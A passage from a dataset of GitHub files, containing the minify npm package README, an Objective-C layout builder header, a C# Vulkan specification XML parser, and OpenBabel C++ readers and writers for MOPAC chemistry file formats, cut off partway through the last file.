text
stringlengths 2
99.7k
| meta
dict |
|---|---|
Minify
===============
[NPM_INFO_IMG]: https://nodei.co/npm/minify.png?stars
[Minify](http://coderaiser.github.io/minify "Minify") - a minifier of js, css, html and img files,
used in [Cloud Commander](http://cloudcmd.io "Cloud Commander") project.
To use `minify` as middleware try [Mollify](https://github.com/coderaiser/node-mollify "Mollify").
Install
---------------
![NPM_INFO][NPM_INFO_IMG]
You can install minify via [npm](https://www.npmjs.org/):
```
npm i minify -g
```
Command Line
---------------
Command line syntax:
```
minify <input-file1> <input-file2> <input-fileN> > output
stdout | minify --<flag>
```
For example:
```
minify client.js util.js > all.js
minify screen.css reset.css > all.css
cat client.js | minify --js
cat *.css | minify --css
```
API
---------------
The **Minify** module contains an api for interacting with other js files.
```js
minify = require('minify');
```
After minification, a file will be saved in the temporary directory.
minify - function to minificate js, html and css-files.
- **file** - path to file.
- **options**(optional) - object contains options.
- **callback**
Possible options:
- **name**
- **stream**
**Examples**:
## Optimize file
```js
var minify = require('minify');
minify('client.js', 'name', function(error, name) {
console.log(error || name);
});
```
```js
minify('client.js', 'stream', function(error, stream) {
var streamWrite = fs.createWriteStream('client.min.js');
if (error)
console.error(error.message);
else
stream.pipe(streamWrite);
});
```
if post processing is need:
```js
minify('client.js', function(error, data) {
});
```
## Optimize data
Parameters:
- Data
- Callback
**Example**:
```js
minify.js('function hello() { if (2 > 3) console.log(\'for real\')}', function(error, data) {
console.log(error, data);
});
minify.css('div { color: #000000}', function(error, data) {
console.log(error, data);
});
```
## Express middleware
To use as express middleware [mollify](https://github.com/coderaiser/node-mollify Mollify) could be used.
License
---------------
MIT
|
{
"pile_set_name": "Github"
}
|
//
// STMAssembleMaker.h
// HomePageTest
//
// Created by DaiMing on 16/5/31.
// Copyright © 2016年 Starming. All rights reserved.
//
#import <Foundation/Foundation.h>
#import "STMPartView.h"
@class STMAssembleView;
typedef NS_ENUM(NSUInteger, STMAssembleAlignment) {
STMAssembleAlignmentCenter,
STMAssembleAlignmentLeft,
STMAssembleAlignmentRight,
STMAssembleAlignmentTop,
STMAssembleAlignmentBottom
};
typedef NS_ENUM(NSUInteger, STMAssembleArrange) {
STMAssembleArrangeHorizontal,
STMAssembleArrangeVertical
};
typedef void(^ParsingFormatStringCompleteBlock)(STMAssembleView *asView);
@interface STMAssembleMaker : NSObject
//属性
@property (nonatomic, strong) NSMutableArray *subViews; //存放所有子视图
@property (nonatomic) CGFloat padding; //间隔距离
@property (nonatomic) STMAssembleAlignment alignment; //对齐
@property (nonatomic) STMAssembleArrange arrange; //水平还是垂直排列
@property (nonatomic) NSUInteger extendWith; //由第几个PartView来撑开AssembleView的大小
@property (nonatomic, copy) ParsingFormatStringCompleteBlock parsingCompletion;
//方法
- (STMAssembleMaker *(^)(STMAssembleView *))addAssembleView;
- (STMAssembleMaker *(^)(STMPartView *))addPartView;
- (STMAssembleMaker *(^)(UIView *))addView;
- (STMAssembleMaker *(^)(CGFloat))paddingEqualTo;
- (STMAssembleMaker *(^)(STMAssembleAlignment))alignmentEqualTo;
- (STMAssembleMaker *(^)(STMAssembleArrange))arrangeEqualTo;
- (STMAssembleMaker *(^)(NSUInteger))extendWithEqualTo;
@end
|
{
"pile_set_name": "Github"
}
|
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Xml.Linq;
namespace Vk.Generator
{
public class VulkanSpecification
{
public CommandDefinition[] Commands { get; }
public ConstantDefinition[] Constants { get; }
public TypedefDefinition[] Typedefs { get; }
public EnumDefinition[] Enums { get; }
public StructureDefinition[] Structures { get; }
public StructureDefinition[] Unions{ get; }
public HandleDefinition[] Handles { get; }
public string[] BitmaskTypes { get; }
public Dictionary<string, string> BaseTypes { get; }
public ExtensionDefinition[] Extensions { get; }
public VulkanSpecification(
CommandDefinition[] commands,
ConstantDefinition[] constants,
TypedefDefinition[] typedefs,
EnumDefinition[] enums,
StructureDefinition[] structures,
StructureDefinition[] unions,
HandleDefinition[] handles,
string[] bitmaskTypes,
Dictionary<string, string> baseTypes,
ExtensionDefinition[] extensions)
{
Commands = commands;
Constants = constants;
Typedefs = typedefs;
Enums = enums;
Structures = structures;
Unions = unions;
Handles = handles;
BitmaskTypes = bitmaskTypes;
BaseTypes = baseTypes;
Extensions = extensions;
AddExtensionEnums(Enums, Extensions);
}
public static VulkanSpecification LoadFromXmlStream(Stream specFileStream)
{
var spec = XDocument.Load(specFileStream);
var registry = spec.Element("registry");
var commands = registry.Element("commands");
CommandDefinition[] commandDefinitions = commands.Elements("command")
.Select(commandx => CommandDefinition.CreateFromXml(commandx)).ToArray();
ConstantDefinition[] constantDefinitions = registry.Elements("enums")
.Where(enumx => enumx.Attribute("name").Value == "API Constants")
.SelectMany(enumx => enumx.Elements("enum"))
.Select(enumxx => ConstantDefinition.CreateFromXml(enumxx)).ToArray();
var types = registry.Elements("types");
TypedefDefinition[] typedefDefinitions = types.Elements("type").Where(xe => xe.Value.Contains("typedef") && xe.HasCategoryAttribute("bitmask"))
.Select(xe2 => TypedefDefinition.CreateFromXml(xe2)).ToArray();
EnumDefinition[] enumDefinitions = registry.Elements("enums")
.Where(enumx => enumx.GetTypeAttributeOrNull() == "enum" || enumx.GetTypeAttributeOrNull() == "bitmask")
.Select(enumx => EnumDefinition.CreateFromXml(enumx)).ToArray();
StructureDefinition[] structures = types.Elements("type").Where(typex => typex.HasCategoryAttribute("struct"))
.Select(typex => StructureDefinition.CreateFromXml(typex)).ToArray();
StructureDefinition[] unions =
types.Elements("type")
.Where(typex => typex.HasCategoryAttribute("union"))
.Select(typex => StructureDefinition.CreateFromXml(typex)).ToArray();
HandleDefinition[] handles = types.Elements("type").Where(typex => typex.HasCategoryAttribute("handle"))
.Select(typex => HandleDefinition.CreateFromXml(typex)).ToArray();
string[] bitmaskTypes = types.Elements("type").Where(typex => typex.HasCategoryAttribute("bitmask"))
.Select(typex => typex.GetNameElement()).ToArray();
Dictionary<string, string> baseTypes = types.Elements("type").Where(typex => typex.HasCategoryAttribute("basetype"))
.ToDictionary(
typex => typex.GetNameElement(),
typex => typex.Element("type").Value);
ExtensionDefinition[] extensions = registry.Element("extensions").Elements("extension")
.Select(xe => ExtensionDefinition.CreateFromXml(xe)).ToArray();
return new VulkanSpecification(
commandDefinitions,
constantDefinitions,
typedefDefinitions,
enumDefinitions,
structures,
unions,
handles,
bitmaskTypes,
baseTypes,
extensions);
}
private void AddExtensionEnums(EnumDefinition[] enums, ExtensionDefinition[] extensions)
{
foreach (ExtensionDefinition exDef in extensions)
{
if (exDef.Name == "VK_KHX_device_group")
{
}
foreach (var enumEx in exDef.EnumExtensions)
{
EnumDefinition enumDef = GetEnumDef(enums, enumEx.ExtendedType);
int value = int.Parse(enumEx.Value);
enumDef.Values = enumDef.Values.Append(new EnumValue(enumEx.Name, value, null)).ToArray();
}
}
}
private EnumDefinition GetEnumDef(EnumDefinition[] enums, string name)
{
return enums.Single(ed => ed.Name == name);
}
}
}
|
{
"pile_set_name": "Github"
}
|
/**********************************************************************
Copyright (C) 1998-2001 by OpenEye Scientific Software, Inc.
Some portions Copyright (C) 2001-2006 by Geoffrey R. Hutchison
Some portions Copyright (C) 2004 by Chris Morley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
***********************************************************************/
#include <openbabel/babelconfig.h>
#include <openbabel/obmolecformat.h>
#include <openbabel/mol.h>
#include <openbabel/atom.h>
#include <openbabel/bond.h>
#include <openbabel/obiter.h>
#include <openbabel/elements.h>
#include <openbabel/internalcoord.h>
#include <openbabel/generic.h>
#include <cstdlib>
using namespace std;
namespace OpenBabel
{
class MOPACFormat : public OBMoleculeFormat
{
public:
//Register this format type ID
MOPACFormat()
{
OBConversion::RegisterFormat("mopout",this, "chemical/x-mopac-out");
OBConversion::RegisterFormat("moo",this, "chemical/x-mopac-out");
}
virtual const char* Description() //required
{
return
"MOPAC Output format\n"
"Read Options e.g. -as\n"
" s Output single bonds only\n"
" b Disable bonding entirely\n\n";
};
virtual unsigned int Flags()
{
return NOTWRITABLE;
};
virtual const char* GetMIMEType()
{ return "chemical/x-mopac-out"; };
/// The "API" interface functions
virtual bool ReadMolecule(OBBase* pOb, OBConversion* pConv);
// virtual bool WriteMolecule(OBBase* pOb, OBConversion* pConv); Is Read Only
};
//Make an instance of the format class
MOPACFormat theMOPACFormat;
/////////////////////////////////////////////////////////////////
bool MOPACFormat::ReadMolecule(OBBase* pOb, OBConversion* pConv)
{
OBMol* pmol = pOb->CastAndClear<OBMol>();
if (pmol == nullptr)
return false;
//Define some references so we can use the old parameter names
istream &ifs = *pConv->GetInStream();
OBMol &mol = *pmol;
const char* title= pConv->GetTitle();
char buffer[BUFF_SIZE];
string str,str1;
double x,y,z;
OBAtom *atom;
vector<string> vs;
vector<double> charges;
bool hasPartialCharges = false;
double energy;
OBVectorData *dipoleMoment = nullptr;
bool readingVibrations = false;
vector< vector<vector3> > displacements; // vibrational displacements
vector<double> frequencies, intensities;
vector<double> orbitalEnergies;
vector<string> orbitalSymmetries; // left empty for now
// Translation vectors (if present)
vector3 translationVectors[3];
int numTranslationVectors = 0;
int alphaHOMO = 0;
mol.BeginModify();
while (ifs.getline(buffer,BUFF_SIZE))
{
// Avoid "FORCE CONSTANT IN CARTESIAN COORDINATES" (PR#3417992)
if (strstr(buffer, " CARTESIAN COORDINATES") != nullptr)
{
// mol.EndModify();
mol.Clear();
ifs.getline(buffer,BUFF_SIZE); // blank
// could either be columns or real data
ifs.getline(buffer,BUFF_SIZE);
tokenize(vs, buffer);
if (vs.size() != 5 || vs[0][0] != '1') { // first character should be atom 1
// those were column headings
ifs.getline(buffer,BUFF_SIZE); // blank
ifs.getline(buffer,BUFF_SIZE);
tokenize(vs,buffer);
}
// now we're at real data
while (vs.size() == 5)
{
atom = mol.NewAtom();
atom->SetAtomicNum(OBElements::GetAtomicNum(vs[1].c_str()));
x = atof((char*)vs[2].c_str());
y = atof((char*)vs[3].c_str());
z = atof((char*)vs[4].c_str());
atom->SetVector(x,y,z);
if (!ifs.getline(buffer,BUFF_SIZE))
break;
tokenize(vs,buffer);
}
}
// ANGSTROMS but not DEGREES (cartesians, not angles)
else if (strstr(buffer, "(ANGSTROMS)") != nullptr && strstr(buffer, "(DEGREES)") == nullptr)
{ // newer versions don't print CARTESIAN for final geometry
mol.Clear();
ifs.getline(buffer,BUFF_SIZE); // blank
ifs.getline(buffer,BUFF_SIZE);
tokenize(vs,buffer);
while (vs.size() == 8)
{
if (strcmp(vs[1].c_str(), "Tv") != 0)
{
atom = mol.NewAtom();
atom->SetAtomicNum(OBElements::GetAtomicNum(vs[1].c_str()));
x = atof((char*)vs[2].c_str());
y = atof((char*)vs[4].c_str());
z = atof((char*)vs[6].c_str());
atom->SetVector(x,y,z);
}
if (!ifs.getline(buffer,BUFF_SIZE))
break;
tokenize(vs,buffer);
}
}
else if (strstr(buffer, "UNIT CELL TRANSLATION") != nullptr)
{
numTranslationVectors = 0; // ignore old translationVectors
ifs.getline(buffer,BUFF_SIZE); // blank
ifs.getline(buffer,BUFF_SIZE); // column headings
ifs.getline(buffer,BUFF_SIZE);
tokenize(vs,buffer);
while (vs.size() == 5)
{
x = atof((char*)vs[2].c_str());
y = atof((char*)vs[3].c_str());
z = atof((char*)vs[4].c_str());
translationVectors[numTranslationVectors++].Set(x, y, z);
if (!ifs.getline(buffer,BUFF_SIZE))
break;
tokenize(vs,buffer);
}
}
// Optimized translation vectors:
else if (strstr(buffer, "FINAL POINT AND DERIVATIVES") != nullptr)
{
numTranslationVectors = 0; // Reset
ifs.getline(buffer,BUFF_SIZE); // blank
ifs.getline(buffer,BUFF_SIZE); // column headings
ifs.getline(buffer,BUFF_SIZE);
tokenize(vs,buffer);
while (vs.size() == 8)
{
// Skip coords -- these would be overwritten by the later
// CARTESIAN COORDINATES block anyway
if (strcmp(vs.at(2).c_str(), "Tv") != 0)
{
if (!ifs.getline(buffer,BUFF_SIZE))
break;
tokenize(vs,buffer);
continue;
}
const char coord = vs[4].at(0);
double val = atof(vs[5].c_str());
bool isZ = false;
switch (coord) {
case 'X':
x = val;
break;
case 'Y':
y = val;
break;
case 'Z':
z = val;
isZ = true;
break;
default:
cerr << "Reading MOPAC Tv values: unknown coordinate '"
<< coord << "', value: " << val << endl;
break;
}
if (isZ)
translationVectors[numTranslationVectors++].Set(x, y, z);
if (!ifs.getline(buffer,BUFF_SIZE))
break;
tokenize(vs,buffer);
}
}
else if (strstr(buffer, "NC:NB:NA:I") != nullptr) // z-matrix
{
mol.Clear();
vector<OBInternalCoord*> vic;
vector<unsigned int> indices;
vic.push_back(nullptr);
while (ifs.getline(buffer,BUFF_SIZE)) {
tokenize(vs,buffer);
if (vs.size() == 0)
break;
else if (vs.size() < 11)
break;
atom = mol.NewAtom();
OBInternalCoord *coord = new OBInternalCoord;
coord->_dst = atof(vs[2].c_str());
coord->_ang = atof(vs[4].c_str());
coord->_tor = atof(vs[6].c_str());
vic.push_back(coord);
indices.push_back(atoi(vs[8].c_str()));
indices.push_back(atoi(vs[9].c_str()));
indices.push_back(atoi(vs[10].c_str()));
// symbol in column 1
atom->SetAtomicNum(OBElements::GetAtomicNum(vs[1].c_str()));
}
// read the z-matrix
// now fill in the atom ids into the internal coords
unsigned int idx = 0;
FOR_ATOMS_OF_MOL (a, mol) {
if ((indices[idx] > 0) && (indices[idx] <= mol.NumAtoms()))
vic[a->GetIdx()]->_a = mol.GetAtom(indices[idx]);
else
vic[a->GetIdx()]->_a = nullptr;
if ((indices[idx+1] > 0) && (indices[idx+1] <= mol.NumAtoms()))
vic[a->GetIdx()]->_b = mol.GetAtom(indices[idx+1]);
else
vic[a->GetIdx()]->_b = nullptr;
if ((indices[idx+2] > 0) && (indices[idx+2] <= mol.NumAtoms()))
vic[a->GetIdx()]->_c = mol.GetAtom(indices[idx+2]);
else
vic[a->GetIdx()]->_c = nullptr;
idx += 3;
}
InternalToCartesian(vic,mol);
// coordinates should be set
}
else if (strstr(buffer, "DOUBLY OCCUPIED LEVELS") != nullptr)
{
tokenize(vs, buffer);
if (vs.size() < 9)
continue;
alphaHOMO = atoi(vs[8].c_str());
}
else if (strstr(buffer, "EIGENVALUES") != nullptr)
{
ifs.getline(buffer, BUFF_SIZE); // real data
tokenize(vs, buffer);
while(vs.size() > 0) { // ends with a blank line
for (unsigned int orbital = 0; orbital < vs.size(); ++orbital) {
// orbitals are listed in eV already, no conversion needed
orbitalEnergies.push_back(atof(vs[orbital].c_str()));
}
ifs.getline(buffer, BUFF_SIZE);
tokenize(vs, buffer);
}
}
else if (strstr(buffer, "FINAL HEAT") != nullptr)
{
sscanf(buffer,"%*s%*s%*s%*s%*s%lf",&energy);
mol.SetEnergy(energy);
}
else if (strstr(buffer, "ELECTROSTATIC POTENTIAL CHARGES") != nullptr)
{
hasPartialCharges = true;
charges.clear(); // Mulliken Charges
ifs.getline(buffer,BUFF_SIZE); // blank
ifs.getline(buffer,BUFF_SIZE); // column headings
ifs.getline(buffer,BUFF_SIZE);
tokenize(vs,buffer);
if (vs.size() < 1) return false; // timvdm 18/06/2008
while (vs.size() > 0 && strstr(vs[0].c_str(), "DIPOLE") == nullptr)
{
if (vs.size() < 3) break;
atom = mol.GetAtom(atoi(vs[0].c_str()));
if (atom != nullptr)
atom->SetPartialCharge(atof(vs[2].c_str()));
charges.push_back(atof(vs[2].c_str()));
if (!ifs.getline(buffer,BUFF_SIZE))
break;
tokenize(vs,buffer);
}
}
else if (strstr(buffer, "NET ATOMIC CHARGES") != nullptr)
{
hasPartialCharges = true;
charges.clear();
ifs.getline(buffer,BUFF_SIZE); // blank
ifs.getline(buffer,BUFF_SIZE); // column headings
ifs.getline(buffer,BUFF_SIZE);
tokenize(vs,buffer);
if (vs.size() < 1) return false; // timvdm 18/06/2008
while (vs.size() > 0 && strstr(vs[0].c_str(), "DIPOLE") == nullptr)
{
if (vs.size() < 3) break;
atom = mol.GetAtom(atoi(vs[0].c_str()));
if (atom != nullptr)
atom->SetPartialCharge(atof(vs[2].c_str()));
charges.push_back(atof(vs[2].c_str()));
if (!ifs.getline(buffer,BUFF_SIZE))
break;
tokenize(vs,buffer);
}
// Now we should be at DIPOLE line. If missing, break out of block
// and continue parsing file.
if (vs.size() == 0 || strstr(vs[0].c_str(), "DIPOLE") != nullptr)
continue;
if (!ifs.getline(buffer,BUFF_SIZE)) // POINT CHARGE
continue; // let the outer loop handle this
ifs.getline(buffer,BUFF_SIZE); // HYBRID
ifs.getline(buffer,BUFF_SIZE); // SUM
tokenize(vs, buffer);
if (vs.size() == 5) {
if (dipoleMoment)
delete dipoleMoment;
dipoleMoment = new OBVectorData;
double x, y, z;
x = atof(vs[1].c_str());
y = atof(vs[2].c_str());
z = atof(vs[3].c_str());
dipoleMoment->SetData(x, y, z);
dipoleMoment->SetAttribute("Dipole Moment");
dipoleMoment->SetOrigin(fileformatInput);
}
if (!ifs.getline(buffer,BUFF_SIZE))
break;
}
else if(strstr(buffer,"MASS-WEIGHTED COORDINATE ANALYSIS") != nullptr)
{ // the correct vibrations -- earlier bits aren't mass-weighted
readingVibrations = true;
if (!ifs.getline(buffer,BUFF_SIZE))
break;
}
else if (readingVibrations && strstr(buffer, "Root No.") != nullptr)
{
ifs.getline(buffer, BUFF_SIZE); // blank line
ifs.getline(buffer, BUFF_SIZE); // symmetry labels (for OB-2.3)
ifs.getline(buffer, BUFF_SIZE); // blank
ifs.getline(buffer, BUFF_SIZE); // frequencies
tokenize(vs, buffer);
for (unsigned int i = 0; i < vs.size(); ++i) {
frequencies.push_back(atof(vs[i].c_str()));
}
ifs.getline(buffer, BUFF_SIZE); // blank
// now real work
unsigned int prevModeCount = displacements.size();
unsigned int newModes = frequencies.size() - displacements.size();
vector<vector3> displacement;
for (unsigned int i = 0; i < newModes; ++i) {
displacements.push_back(displacement);
}
ifs.getline(buffer, BUFF_SIZE);
tokenize(vs, buffer);
unsigned int modeCount = vs.size();
vector<double> x, y, z;
while(modeCount > 1) {
x.clear();
for (unsigned int i = 1; i < modeCount; ++i) {
x.push_back(atof(vs[i].c_str()));
}
y.clear();
ifs.getline(buffer, BUFF_SIZE);
tokenize(vs, buffer);
for (unsigned int i = 1; i < modeCount; ++i) {
y.push_back(atof(vs[i].c_str()));
}
z.clear();
ifs.getline(buffer, BUFF_SIZE);
tokenize(vs, buffer);
for (unsigned int i = 1; i < modeCount; ++i) {
z.push_back(atof(vs[i].c_str()));
}
// OK, now we have x, y, z for all new modes for one atom
for (unsigned int i = 0; i < modeCount - 1; ++i) {
if (displacements.size() < prevModeCount + i + 1)
displacements.push_back(displacement);
displacements[prevModeCount + i].push_back(vector3(x[i], y[i], z[i]));
}
// Next set of atoms
ifs.getline(buffer, BUFF_SIZE);
tokenize(vs, buffer);
modeCount = vs.size();
}
}
else if (readingVibrations && strstr(buffer, "T-DIPOLE") != nullptr)
{
unsigned int currentIntensity = intensities.size();
tokenize(vs, buffer);
if (vs.size() < 2)
break;
double transDipole = atof(vs[1].c_str());
intensities.push_back(frequencies[currentIntensity] * transDipole * transDipole);
}
}
if (mol.NumAtoms() == 0) { // e.g., if we're at the end of a file PR#1737209
mol.EndModify();
return false;
}
if (!pConv->IsOption("b",OBConversion::INOPTIONS))
mol.ConnectTheDots();
if (!pConv->IsOption("s",OBConversion::INOPTIONS)
&& !pConv->IsOption("b",OBConversion::INOPTIONS))
mol.PerceiveBondOrders();
mol.EndModify();
if (hasPartialCharges)
{
mol.SetPartialChargesPerceived();
FOR_ATOMS_OF_MOL(atom, mol) {
atom->SetPartialCharge(charges[atom->GetIdx()-1]); // atom index issue
}
// Annotate that partial charges come from MOPAC Mulliken
OBPairData *dp = new OBPairData;
dp->SetAttribute("PartialCharges");
dp->SetValue("Mulliken");
dp->SetOrigin(fileformatInput);
mol.SetData(dp);
}
if (dipoleMoment)
mol.SetData(dipoleMoment);
if (frequencies.size() != 0) { // we found some vibrations
OBVibrationData *vd = new OBVibrationData;
vd->SetData(displacements, frequencies, intensities);
vd->SetOrigin(fileformatInput);
mol.SetData(vd);
}
// Attach unit cell translation vectors if found
if (numTranslationVectors == 3) {
OBUnitCell* uc = new OBUnitCell;
uc->SetData(translationVectors[0], translationVectors[1], translationVectors[2]);
uc->SetOrigin(fileformatInput);
mol.SetData(uc);
}
// Attach orbitals if found
if (alphaHOMO > 0) {
OBOrbitalData *od = new OBOrbitalData();
od->LoadClosedShellOrbitals(orbitalEnergies, orbitalSymmetries, alphaHOMO);
od->SetOrigin(fileformatInput);
mol.SetData(od);
}
mol.SetTitle(title);
return(true);
}
//************************************************************
class MOPACCARTFormat : public OBMoleculeFormat
{
public:
//Register this format type ID
MOPACCARTFormat()
{
OBConversion::RegisterFormat("mopcrt",this, "chemical/x-mopac-input");
OBConversion::RegisterFormat("mop",this, "chemical/x-mopac-input");
OBConversion::RegisterFormat("mpc",this, "chemical/x-mopac-input");
// Command-line keywords
OBConversion::RegisterOptionParam("k", nullptr, 1, OBConversion::OUTOPTIONS);
// Command-line keyword file
OBConversion::RegisterOptionParam("f", nullptr, 1, OBConversion::OUTOPTIONS);
}
virtual const char* Description() //required
{
return
"MOPAC Cartesian format\n"
"Read Options e.g. -as\n"
" s Output single bonds only\n"
" b Disable bonding entirely\n\n"
"Write Options e.g. -xk\n"
" k \"keywords\" Use the specified keywords for input\n"
" f <file> Read the file specified for input keywords\n"
" u Write the crystallographic unit cell, if present.\n\n";
};
virtual const char* GetMIMEType()
{ return "chemical/x-mopac-input"; };
/// The "API" interface functions
virtual bool ReadMolecule(OBBase* pOb, OBConversion* pConv);
virtual bool WriteMolecule(OBBase* pOb, OBConversion* pConv);
////////////////////////////////////////////////////
};
//Make an instance of the format class
MOPACCARTFormat theMOPACCARTFormat;
/////////////////////////////////////////////////////////////////
// Here is a to-do list for a more complete MOPAC input reader
// - cjh 2011-07-02
//
// A. Comment lines
//
// A comment line begins with * and may be specified anywhere.
//
// Status: implemented in the geometry block, not in header
//
//
// B. Header
//
// MOPAC supports line continuation for keywords using the special keywords & and +
// if & is present, keywords continue on the next line
// & may be specified on lines 1 and 2 only
// the total length of the header remains fixed at three lines; the number of lines
// available for description is reduced accordingly
// If + is present, keywords continue on the next line
// AND the total length of the header is extended by one line
// Up to two + may be used
//
// References
// ----------
// MOPAC 7.1:
// MOPAC 2009: http://openmopac.net/manual/allkeys.html
//
// Status: not implemented
//
//
// C. Processing atom name
//
// 1. MOPAC offers some unique atom names
// In MOPAC 7.1:
//
// XX dummy atom - OB already understands this
//
// sparkles
// + A 100% ionic alkali metal
// ++ A 100% ionic alkaline earth metal
// - A 100% ionic halogen-like atom
// -- A 100% ionic group VI-like atom.
// (Section 6.12 of MOPAC 7 Manual)
//
// Cb (Capped bond) A special type of monovalent atom
// existing purely to satisfy valence
// (Section 3.5 of MOPAC 7 Manual)
//
// Tv - Translation vector defining 1-D periodicity for polymers
//
// In MOPAC 2009:
// 2. All of the above, plus:
// +3 - A +3 sparkle
// -3 - A -3 sparkle
// Fr - A sparkle with charge 1/2 (NOT Francium!)
// At - A sparkle with charge -1/2 (NOT Actinium)
// X - also a dummy atom
// D - Deuterium - OB already understands this
// T - Tritium - OB already understands this
// Tv - up to 3 translation vectors can be specified for periodic cells
// in 1D, 2D and 3D
//
// Isotopes can be specified with isotopic mass
// e.g. C13.0034
//
// 3. optional atom labels can be specified with ()
// e.g. "Mg(At center of porphyrin ring)"
// label is text in () and can be up to 38 characters long
// it CAN include spaces
// if it is "+" or "-", this specifies atomic charges in MOPAC 2009
// Both mass and label can be specified, e.g. C1(on C5)34.96885
//
// In MOPAC 7.x only the Z-matrix format is documented to support labels
// but in MOPAC 2009 labels are officially supported in all formats
//
// References
// ----------
// MOPAC 7.x: http://nova.colombo58.unimi.it/manual/pdf/Mopac7.pdf
// MOPAC 2009: http://openmopac.net/manual/Labels.html
//
// Status: atom labels and isotopes recognized but thrown away
//
//
// D. Mixed coordinate format
//
// MOPAC2009 supports mixed internal and Cartesian coordinate specification
// but the code as it stands will currently fail to process the coordinates
// correctly in this forma
//
// Status: throws error if this format is encountered
//
// -cjh 2011-07-02
bool MOPACCARTFormat::ReadMolecule(OBBase* pOb, OBConversion* pConv)
{
OBMol* pmol = pOb->CastAndClear<OBMol>();
if (pmol == nullptr)
return false;
//Define some references so we can use the old parameter names
istream &ifs = *pConv->GetInStream();
OBMol &mol = *pmol;
const char* title= pConv->GetTitle();
char buffer[BUFF_SIZE];
string str, atomLabel, elementSymbol;
double x,y,z, isotopeMass;
OBAtom *atom;
vector<string> vs;
// Translation vectors (if present)
vector3 translationVectors[3];
int numTranslationVectors = 0;
//
ifs.getline(buffer,BUFF_SIZE); // keywords
ifs.getline(buffer,BUFF_SIZE); // filename
ifs.getline(buffer,BUFF_SIZE); // title (currently ignored)
mol.BeginModify();
while (ifs.getline(buffer,BUFF_SIZE))
{
isotopeMass = 0;
elementSymbol = "";
//First see if this is a comment line - skip comment lines
if (buffer[0] == '*') continue;
//First see if there is a label defined
tokenize(vs,buffer,"()");
if (vs.size() > 3) //Only one label allowed per line
{
//TODO Replace with correct OBError.ThrowError() call
cerr << "Invalid format in geometry specification: There appears to be more than one atom label specified!\n";
return false;
}
else if (1 < vs.size() && vs.size() <= 3) //There is a label
{
elementSymbol = vs[0];
atomLabel = vs[1];
strcpy(buffer,vs[2].c_str());
}
else //no label, reset buffer
strcpy(buffer,vs[0].c_str());
//Now parse the rest of the line
//There should be three cases:
//1. There are 7 tokens and the first token is a number specifying the isotope mass
//2. There are 7 tokens and the first token is a string containing the element symbol
//3. There are 6 tokens and the first token is a number specifying the Cartesian x coordinate
tokenize(vs,buffer);
if (vs.size() == 0)
break;
else if (vs.size() < 6)
{
//TODO Replace with correct OBError.ThrowError() call
cerr << "Invalid format in geometry specification.\n";
return false;
}
else if (vs.size() > 7) //cjh 2011-07-02
{
//TODO Replace with correct OBError.ThrowError() call
cerr << "Mixed Cartesian and internal coordinates are currently not supported.\n";
return false;
}
else if (vs.size() == 7)
{
if (elementSymbol == "")
elementSymbol = vs[0];
else
isotopeMass = atof((char*)vs[0].c_str());
x = atof((char*)vs[1].c_str());
y = atof((char*)vs[3].c_str());
z = atof((char*)vs[5].c_str());
}
else //vs.size() == 6
{
x = atof((char*)vs[0].c_str());
y = atof((char*)vs[2].c_str());
z = atof((char*)vs[4].c_str());
}
if (elementSymbol == "Tv") //MOPAC translation vector
{
translationVectors[numTranslationVectors++].Set(x, y, z);
}
else
{
atom = mol.NewAtom();
atom->SetVector(x,y,z); //set coordinates
//set atomic number
atom->SetAtomicNum(OBElements::GetAtomicNum(elementSymbol.c_str()));
}
}
// Attach unit cell translation vectors if found
if (numTranslationVectors > 0) {
OBUnitCell* uc = new OBUnitCell;
uc->SetData(translationVectors[0], translationVectors[1], translationVectors[2]);
uc->SetOrigin(fileformatInput);
mol.SetData(uc);
}
if (!pConv->IsOption("b",OBConversion::INOPTIONS))
mol.ConnectTheDots();
if (!pConv->IsOption("s",OBConversion::INOPTIONS) &&
!pConv->IsOption("b",OBConversion::INOPTIONS))
mol.PerceiveBondOrders();
mol.SetTitle(title);
mol.EndModify();
return(true);
}
////////////////////////////////////////////////////////////////
bool MOPACCARTFormat::WriteMolecule(OBBase* pOb, OBConversion* pConv)
{
OBMol* pmol = dynamic_cast<OBMol*>(pOb);
if (pmol == nullptr)
return false;
//Define some references so we can use the old parameter names
ostream &ofs = *pConv->GetOutStream();
OBMol &mol = *pmol;
// unsigned int i;
char buffer[BUFF_SIZE];
const char *keywords = pConv->IsOption("k",OBConversion::OUTOPTIONS);
const char *keywordFile = pConv->IsOption("f",OBConversion::OUTOPTIONS);
bool writeUnitCell = nullptr != pConv->IsOption("u", OBConversion::OUTOPTIONS);
string defaultKeywords = "PUT KEYWORDS HERE";
if(keywords)
defaultKeywords = keywords;
if (keywordFile)
{
ifstream kfstream(keywordFile);
string keyBuffer;
if (kfstream)
{
while (getline(kfstream, keyBuffer))
ofs << keyBuffer << endl;
}
}
else {
ofs << defaultKeywords;
if (mol.GetTotalCharge() != 0)
ofs << " CHARGE=" << mol.GetTotalCharge();
// should handle GetTotalSpinMultiplicity() too
ofs << endl;
}
ofs << mol.GetTitle() << endl;
ofs << endl; // comment
string str,str1;
FOR_ATOMS_OF_MOL(atom, mol)
{
snprintf(buffer,BUFF_SIZE,"%-3s%8.5f 1 %8.5f 1 %8.5f 1",
OBElements::GetSymbol(atom->GetAtomicNum()),
atom->GetX(),
atom->GetY(),
atom->GetZ());
ofs << buffer << "\n";
}
OBUnitCell *uc = (OBUnitCell*)mol.GetData(OBGenericDataType::UnitCell);
if (uc && writeUnitCell) {
// uc->FillUnitCell(&mol); // complete the unit cell with symmetry-derived atoms
vector<vector3> cellVectors = uc->GetCellVectors();
for (vector<vector3>::iterator i = cellVectors.begin(); i != cellVectors.end(); ++i) {
snprintf(buffer,BUFF_SIZE,"Tv %8.5f 1 %8.5f 1 %8.5f 1",
i->x(),
i->y(),
i->z());
ofs << buffer << "\n";
}
}
return(true);
}
//************************************************************
class MOPACINTFormat : public OBMoleculeFormat
{
public:
//Register this format type ID
MOPACINTFormat()
{
OBConversion::RegisterFormat("mopin", this, "chemical/x-mopac-input");
// Command-line keywords
OBConversion::RegisterOptionParam("k", nullptr, 1, OBConversion::OUTOPTIONS);
// Command-line keyword file
OBConversion::RegisterOptionParam("f", nullptr, 1, OBConversion::OUTOPTIONS);
}
virtual const char* Description() //required
{
return "MOPAC Internal\n"
"Write Options e.g. -xk\n"
